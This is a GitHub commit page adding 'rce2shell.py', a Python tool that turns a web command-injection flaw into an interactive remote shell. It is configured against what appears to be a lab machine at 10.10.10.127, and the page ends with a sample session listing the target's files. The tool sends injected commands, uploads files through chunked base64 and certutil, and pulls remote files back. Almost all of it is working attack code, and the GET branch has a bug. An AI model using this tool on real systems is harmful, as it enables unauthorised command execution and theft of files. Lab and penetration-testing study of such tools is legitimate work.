Skip to content

Commit 1444bf6

Browse files
committed
Automatic commit Sat 03 Aug 2019 06:01:13 PM EEST
1 parent e87db6a commit 1444bf6

File tree

1 file changed

+238
-0
lines changed

1 file changed

+238
-0
lines changed

rce2shell/rce2shell.py

Lines changed: 238 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,238 @@
1+
#!/usr/bin/env python
2+
from __future__ import print_function
3+
# Author: Alamot
4+
# Status: WIP (Work In Progress)
5+
#
6+
# Define a variable rce like this:
7+
# rce = {"method":"POST",
8+
# "url":"http://10.10.10.127/select",
9+
# "data":"db=fortunes2%7C__RCE__%20%23",
10+
# "remote_os":"unix",
11+
# "timeout":30}
12+
#
13+
# Use __RCE__ to mark the command injection point.
14+
#
15+
# To upload a file type: UPLOAD local_path remote_path
16+
# e.g. UPLOAD myfile.txt /tmp/myfile.txt
17+
# If you omit the remote_path it uploads the file on the current working folder.
18+
#
19+
# To download a file: DOWNLOAD remote_path
20+
# e.g. $ DOWNLOAD \temp\myfile.txt
21+
22+
23+
import os
24+
import re
25+
import sys
26+
import uuid
27+
import copy
28+
import tqdm
29+
import shlex
30+
import base64
31+
import hashlib
32+
import requests
33+
try:
34+
# Python 2.X
35+
from urllib import quote
36+
input = raw_input
37+
except ImportError:
38+
from urllib.parse import quote # Python 3+
39+
40+
41+
DEBUG = False
42+
BUFFER_SIZE = 5000
43+
# Redirect stderr to stdout?
44+
ERR2OUT = True
45+
# A unique sequence of characters that marks start/end of output.
46+
UNIQUE_SEQ = uuid.uuid4().hex[0:6]
47+
UNIX_TOOLS = {"b64enc": {"base64":"base64",
48+
"openssl":"openssl base64 -A"},
49+
"b64dec": {"base64":"base64 -d",
50+
"openssl":"openssl base64 -A -d",
51+
"python":"python -m base64 -d"},
52+
"md5sum": {"md5sum":"md5sum",
53+
"md5":"md5 -q"}}
54+
55+
56+
def memoize(function):
57+
memo = {}
58+
def wrapper(*args):
59+
if args in memo:
60+
return memo[args]
61+
else:
62+
rv = function(*args)
63+
memo[args] = rv
64+
return rv
65+
return wrapper
66+
67+
68+
def send_command(command, rce, enclose=False):
69+
try:
70+
client = requests.session()
71+
client.verify = False
72+
client.keep_alive = False
73+
if enclose:
74+
cmd = "echo " + UNIQUE_SEQ + ";" + command + ";echo " + UNIQUE_SEQ
75+
else:
76+
cmd = command
77+
if DEBUG: print(cmd)
78+
if rce["method"] == "GET":
79+
response = client.get(url, timeout=rce["timeout"])
80+
elif rce["method"] == "POST":
81+
data = rce["data"].replace("__RCE__", quote(cmd))
82+
headers = {"Content-Type":"application/x-www-form-urlencoded"}
83+
response = client.post(rce["url"], data=data,
84+
headers=headers,
85+
timeout=rce["timeout"])
86+
if response.status_code != 200:
87+
print("Status: "+str(response.status_code))
88+
if DEBUG: print(response.text)
89+
if enclose:
90+
return response.text.split(UNIQUE_SEQ)[1]
91+
else:
92+
return response
93+
except requests.exceptions.RequestException as e:
94+
print(str(e))
95+
finally:
96+
if client:
97+
client.close()
98+
99+
100+
@memoize
101+
def find_tool(tool_type):
102+
for tool_name in sorted(UNIX_TOOLS[tool_type].keys()):
103+
cmd = "which " + tool_name + " && echo FOUND || echo FAILED"
104+
response = send_command(cmd, rce)
105+
if "FOUND" in response.text:
106+
return UNIX_TOOLS[tool_type][tool_name]
107+
return None
108+
109+
110+
def download(rce, remote_path):
111+
cmd = find_tool("md5sum") + " '" + remote_path + "'"
112+
response = send_command(cmd, rce, enclose=True)
113+
remote_md5sum = response.strip()[:32]
114+
cmd = "cat '" + remote_path + "' | " + find_tool("b64enc")
115+
b64content = send_command(cmd, rce, enclose=True)
116+
content = base64.decodestring(b64content)
117+
local_md5sum = hashlib.md5(content).hexdigest()
118+
print("Remote md5sum: " + remote_md5sum)
119+
print(" Local md5sum: " + local_md5sum)
120+
if local_md5sum == remote_md5sum:
121+
print(" MD5 hashes match!")
122+
else:
123+
print(" ERROR! MD5 hashes do NOT match!")
124+
with open(os.path.basename(remote_path), "w") as f:
125+
f.write(content)
126+
127+
128+
def upload(rce, local_path, remote_path):
129+
print("Uploading "+local_path+" to "+remote_path)
130+
if rce["remote_os"] == "unix":
131+
cmd = "> '" + remote_path + ".b64'"
132+
elif rce["remote_os"] == "windows":
133+
cmd = 'type nul > "' + remote_path + '.b64"'
134+
send_command(cmd, rce)
135+
136+
with open(local_path, 'rb') as f:
137+
data = f.read()
138+
md5sum = hashlib.md5(data).hexdigest()
139+
b64enc_data = "".join(base64.encodestring(data).split())
140+
141+
print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
142+
for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
143+
cmd = 'echo ' + b64enc_data[i:i+BUFFER_SIZE] + ' >> "' + remote_path + '.b64"'
144+
send_command(cmd, rce)
145+
#print("Remaining: "+str(len(b64enc_data)-i))
146+
147+
if rce["remote_os"] == "unix":
148+
cmd = "cat '" + remote_path + ".b64' | " + find_tool("b64dec") + " > '" + remote_path + "'"
149+
send_command(cmd, rce)
150+
cmd = find_tool("md5sum") + " '" + remote_path + "'"
151+
response = send_command(cmd, rce)
152+
elif rce["remote_os"] == "windows":
153+
cmd = 'certutil -decode "' + remote_path + '.b64" "' + remote_path + '"'
154+
send_command(cmd, rce)
155+
cmd = 'certutil -hashfile "' + remote_path + '" MD5'
156+
response = send_command(cmd, rce)
157+
if md5sum in response.text:
158+
print(" MD5 hashes match: " + md5sum)
159+
else:
160+
print(" ERROR! MD5 hashes do NOT match!")
161+
162+
163+
def shell(rce):
164+
global DEBUG
165+
stored_cwd = None
166+
user_input = None
167+
if rce["remote_os"] == "unix":
168+
get_info = "whoami;hostname;pwd"
169+
elif rce["remote_os"] == "windows":
170+
get_info = 'echo %username%^|%COMPUTERNAME% & cd'
171+
while True:
172+
cmd = ""
173+
if stored_cwd:
174+
cmd += "cd " + stored_cwd + ";"
175+
if user_input:
176+
cmd += user_input
177+
cmd += " 2>&1;" if ERR2OUT else ";"
178+
cmd += get_info
179+
response = send_command(cmd, rce, enclose=True)
180+
lines = response.splitlines()
181+
user, host, cwd = lines[-3:]
182+
stored_cwd = cwd
183+
for output in lines[1:-3]:
184+
print(output)
185+
user_input = input("[" + user + "@" + host + " " + cwd + "]$ ").rstrip("\n")
186+
if user_input.lower().strip() == "exit":
187+
return
188+
elif user_input[:8] == "DEBUG ON":
189+
DEBUG = True
190+
user_input = "echo 'DEBUG is now ON'"
191+
elif user_input[:9] == "DEBUG OFF":
192+
DEBUG = False
193+
user_input = "echo 'DEBUG is now OFF'"
194+
elif user_input[:8] == "DOWNLOAD":
195+
remote_path = shlex.split(user_input, posix=False)[1]
196+
if remote_path[0] != '/':
197+
remote_path = stored_cwd + "/" + remote_path
198+
download(rce, remote_path)
199+
user_input = "echo ' ***** DOWNLOAD FINISHED *****'"
200+
elif user_input[:6] == "UPLOAD":
201+
upload_cmd = shlex.split(user_input, posix=False)
202+
local_path = upload_cmd[1]
203+
if len(upload_cmd) < 3:
204+
remote_path = stored_cwd + "/" + os.path.basename(local_path)
205+
upload(rce, local_path, remote_path)
206+
else:
207+
remote_path = upload_cmd[2]
208+
if remote_path[0] != '/':
209+
remote_path = stored_cwd + "/" + remote_path
210+
upload(rce, local_path, remote_path)
211+
user_input = "echo ' ***** UPLOAD FINISHED *****'"
212+
213+
214+
rce = {"method":"POST",
215+
"url":"http://10.10.10.127/select",
216+
"data":"db=fortunes2%7C__RCE__%20%23",
217+
"remote_os":"unix",
218+
"timeout":30}
219+
220+
shell(rce=rce)
221+
sys.exit()
222+
223+
224+
'''
225+
EXAMPLE:
226+
$ python rce2shell.py
227+
[[email protected] /var/appsrv/fortune]$ ls -al
228+
total 104
229+
drwxr-xr-x 4 _fortune _fortune 512 Feb 3 05:08 .
230+
drwxr-xr-x 5 root wheel 512 Nov 2 2018 ..
231+
drwxrwxrwx 2 _fortune _fortune 512 Nov 2 2018 __pycache__
232+
-rw-r--r-- 1 root _fortune 341 Nov 2 2018 fortuned.ini
233+
-rw-r----- 1 _fortune _fortune 35638 Aug 3 06:00 fortuned.log
234+
-rw-rw-rw- 1 _fortune _fortune 6 Aug 3 03:13 fortuned.pid
235+
-rw-r--r-- 1 root _fortune 413 Nov 2 2018 fortuned.py
236+
drwxr-xr-x 2 root _fortune 512 Nov 2 2018 templates
237+
-rw-r--r-- 1 root _fortune 67 Nov 2 2018 wsgi.py
238+
'''

0 commit comments

Comments
 (0)